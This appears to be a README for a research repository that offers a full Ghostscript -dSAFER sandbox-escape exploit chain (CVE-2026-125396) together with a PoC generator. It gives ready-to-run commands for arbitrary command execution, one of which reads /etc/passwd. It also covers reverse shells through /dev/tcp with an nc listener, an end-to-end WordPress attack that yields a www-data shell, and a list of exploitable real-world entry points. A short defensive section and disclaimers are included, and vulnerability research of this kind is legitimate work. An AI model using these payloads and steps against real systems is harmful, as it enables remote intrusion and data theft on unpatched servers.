# Upload2Shell — CVE-2026-125396 Ghostscript Sandbox Escape: Independent Reverse Engineering and Full Platform Reproducibility
**Ghostscript ⚠️** Disclaimer: This repository contains only vulnerability research and defensive analysis conducted within a **locally authorized environment**. All experiments were performed on dedicated hardware and within containers; no unauthorized targets were accessed. The provided PoCs are intended solely for reproducing and validating fixes to the vulnerabilities; they must not be used for unauthorized testing. ---
Ghostscript is a PostScript interpreter—**rendering files = executing programs within them**. The `-dSAFER` sandbox restricts such execution. CVE-2026-125396 exploits the sandbox via a four-stage chain:
① Error handler hijacks the privileged `.forceput` operator (leveraging protected dictionary writes in source code)
② Global dictionary holds references to local objects → save/restore → UAF
③ Heap spraying combined with marker scanning → creates fake string views → arbitrary read/write (self-localization, no address guessing)
④ Pointer chain traversal closes the memory-based sandbox switch path_control_active → `%pipe%` arbitrary command execution
| **Independent full pointer chain reverse engineering** | No reliance on original offsets; binary reverse engineering followed by iterative derivation using both Hex-Rays and objdump | | **Cross-platform zero-modification reproduction** | The same PostScript achieves full chain hits on both macOS arm64 and Debian x86-64 (8/8, 3/3)—the offset is set to the field offset of an LP64 structure, ensuring stability across architectures |
| **One-step RCE** | In practice, when `LockFilePermissions` is disabled by default in certain builds, clearing just one 4-byte flag suffices (the original author’s chain involves three steps) |
| **End-to-end WordPress attack** | Full setup of the test environment, four-gate model, and all real-world chokepoints documented (including constraints imposed by cross-verification of WP finfo content on payload shape) |
| Original PoC (UAF → memory write → hijacking of `mul` function pointer) | **5/5** on macOS arm64; **3/3** on Debian x86-64 |
| Full RCE sequence (clear → `%pipe%` → recovery → rejection) | All results as expected; proof of reversibility ✓ |
| Cross-platform (macOS arm64 / Debian x86-64) | Zero-modification offset applied; full chain hits on both platforms |
| Fixed negative control (10.08.0 / deb13u3) | Privilege write never executes; deadlock occurs at the first loop ✓ |
| WordPress 6.9.4 rendering pipeline | Command executed by **www-data (uid 33)** ✓ |
| WordPress shell rebinding (survives without gs parent process) | ✓ Interactive session reconnects, executing id/hostname/uname |
├── 01-Principles.md Full four-layer chain principle (each layer includes a code snippet)
├── 02-Analysis.md Key functions, Hex-Rays pseudocode, ring-by-ring deassembly evidence, analysis of %pipe% gate
├── 03-OffsetValues.md Complete offset table (10 rings), cross-platform principles, self-validation methods, version numbers vs vulnerability status tables
├── 04-DirectGS-Demo.md Command-line reproduction steps, conditional outputs, five-column matrix, pitfalls checklist
├── 05-WordPress-Takedown.md Four-gate model, target environment setup, three attack methods, bottleneck review, defensive recommendations
├── gen_poc.py ★ PoC generator (parameterized to produce all variants; see below)
├── poc-native-write.pdf Original PoC (static archive of memdemo variant generated by the generator)
├── probe-chain.ps Read-only probe: offset verifier + patch detector
├── probe-rce.ps Full RCE ladder (reversible)
├── wp-payload.pdf WordPress payload (clears everything → %pipe% marker)
├── wp-shell-gen.pdf Shell generation payload (generator output, verified for reconnection)
├── baseline.ps Valid baseline
└── run-matrix.sh Matrix execution script ## PoC Generator (poc/gen_poc.py)
No need for a file—a single command generates all variants on demand, handling PostScript string escaping, the dash/bash syntax difference in `/dev/tcp`, and differences in default values for target `LockFilePermissions`:
# 1. Probe (offset validation + patch detection; always run this first)
# 2. Native memory write demo (harmless: after changing mul→sub, it automatically recovers)
python3 poc/gen_poc.py memdemo -o poc-native-write.pdf
# 3. RCE: Default forensic marker (id/hostname/date → /var/tmp/GS_POC_MARKER.txt)
python3 poc/gen_poc.py rce -o pwn.pdf --cmd 'cat /etc/passwd > /tmp/exfil.txt'
# 5. RCE: Rebound shell (add --lock when targeting a release build and the probe indicates LOCK=1)
python3 poc/gen_poc.py rce -o shell.pdf --rev 127.0.0.1:4444 [--lock] [--restore]
The `--restore` option generates a reversible version (after execution, `path_control_active` is restored, making it useful for forensics). All variants have been verified against local gs versions 10.07.1 (positive) and 10.08.0 (negative).
All variants run with the same command (extension is arbitrary; gs only checks bytes):
gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage
### probe (Probe) — Always the first step
| `CHAIN_PRIMITIVE_OK` followed by a pointer chain printed on each loop iteration, plus `PATH_CONTROL_ACTIVE=1,0,0,0` | **Vulnerable version**: the link is usable; when `LOCK_FILE_PERMISSIONS=1`, remember to add `--lock` for rce |
| Same as above but with `LOCK=0,0,0,0` | Vulnerable version that can be exploited in one go (no need for `--lock`) |
| `Error: /undefined in --get--` (`GHOSTESCAPE_DANGLING`) | **Fixed** (includes release migration); privileged write not implemented, so process stops |
| `NO_OVERLAP` / `NO_ALIAS` | Heap injection failed (extremely rare); rerun once and then evaluate |
### memdemo (Harmless demo) — Suitable for reporting/screenshots
| `BEFORE=319 / HIJACKED=18 / RESTORED=319` | UAF → arbitrary writes possible: the C function pointer for `mul` was changed to `sub` (29×11→18), then restored |
| `NO_OVERLAP` | Injection failed; rerun |
python3 poc/gen_poc.py rce -o marker.pdf # Without --cmd/--rev
| `PIPE_EXEC_OK` followed by `/var/tmp/GS_POC_MARKER.txt` containing id/hostname/date | **RCE confirmed**: command executed as the gs process user |
| `PIPE_FAILED` / no marker | Blocked (check `--lock`: first run probe to see LOCK value) | | Add `--restore`: a trailing newline `PATH_CONTROL_RESTORED` | Post-incident sandbox flag restored (reversible mode) |
nc -lvnp 4444 # Target container/host must be able to reconnect to this address
python3 poc/gen_poc.py rce -o shell.pdf --rev:4444
Criteria: On the listener side, an interactive prompt such as `bash-3.2$` (or `www-data@host:~$`) appears, and commands can be executed. Note: For Debian-based systems, `/bin/sh` is dash; the generator automatically redirects `/dev/tcp` packets into `bash -c`. After GS rendering completes, it exits; the shell survives by using `nohup+&` to remain alive within its parent process. ### wp-payload (WordPress scenario)
Two triggering methods (see [05-wordpress.md](05-wordpress.md)):
1. **Media upload pipeline** (requires an author account; due to WP finfo’s cross-checking mechanism, pure PS impersonation with ≥6.9.x default settings will be rejected—requires site configuration allowing PDF+font fallback or permitted file extensions).
2. **Direct metadata pipeline trigger** (files already exist in media libraries/import scenarios): Execute `wp_generate_attachment_metadata()` by www-data inside the wp container.
Criteria: The file `/var/tmp/GS_WP_RCE_MARKER.txt` belongs to **www-data (uid 33)** = full RCE chain established at the actual web user privilege level. ### Fixed negative control
Any variant on **≥10.08.0 or patched versions** should fail identically:
`Error: /undefined in --get--` (`GHOSTESCAPE_DANGLING` lookup fails = privileged write never implemented). Failing to produce this fatal signature ≠ no fix; producing this signature = definitely fixed. ## Quick start
**Environment**: Any LP64 platform (x86-64 / arm64 verified) running Ghostscript 10.02.0–10.07.x (unpatched).
# Step 0: Probe (Verify offset and check if rollback has been applied)
gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/probe-chain.ps
# PATH_CONTROL_ACTIVE=1,0,0,0 and pointer chain is consistent → Vulnerable version can proceed
# Error: /undefined (GHOSTESCAPE_DANGLING) → Rollback has already been applied; process halted.
# Step 1: Original PoC (Demonstration of memory write)
gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/poc-native-write.pdf
# BEFORE=319 / HIJACKED=18 / RESTORED=319
# Step 2: Full RCE sequence (Reversible; write marker to /tmp)
gs -q -dSAFER -dNOPAUSE -dBATCH -sDEVICE=nullpage poc/probe-rce.ps
# TRY0 rejected → TRY1 executed → TRY2 restored but then rejected again
Detailed steps, loop outputs, and troubleshooting notes are available in [04-gs.md](04-gs.md). ## Impact Assessment
**Affected versions**: All upstream releases from 10.02.0 to 10.07.x; check rollback status for specific releases (Debian 12 remains vulnerable as of 2026-11; Debian 13 has been rolled back; Ubuntu patched after USN on 2026-10-21; RHEL versions unconfirmed). **Entry points (anywhere user files are passed to gs):** WordPress media preview, Roundcube attachment thumbnails (triggered when mail is opened), CUPS print queue (anonymous IPP), Paperless-ngx/Mayan EDMS document import, Gradio/A1111/ComfyUI image pipeline (Pillow→EPS→gs), locally opening malicious EPS files. **Breakpoints (check these three if gs is involved):** ImageMagick `policy.xml` disables PS/PDF coders; applications fail to pass files to rendering; file type validation rejects any tampered content. ## Defense recommendations
1. Upgrade Ghostscript to ≥ 10.08.0 and run a penetration test (test both embedded copies and self-compiled copies; version numbers can be misleading).
2. ImageMagick `policy.xml`: `` (same applies to PS/PS2/PS3/EPS/XPS).
3. WordPress ≥ 7.0.4 / 6.9.7; audit plugins that upload files to media libraries; disable automatic preview of untrusted files.
4. Enforce authentication on CUPS shared queues; grant rendering processes minimal privileges and isolate them via SELinux/AppArmor.
- pwn.ai original research: *How We Hacked the Pipes — Upload2Shell* (
- WordPress advisory: CVE-2026-65640 (core upload path; fixes available in 7.0.4 / 6.9.7)
- Ubuntu USN-8949-1 (2026-10-21), Debian DSA (2026-09-25)
- xkcd #2347 *Dependency* (ecological niche of ImageMagick/Ghostscript)
For educational and defensive research purposes only. The PoC addresses vulnerabilities that have been patched; unauthorized testing is prohibited.
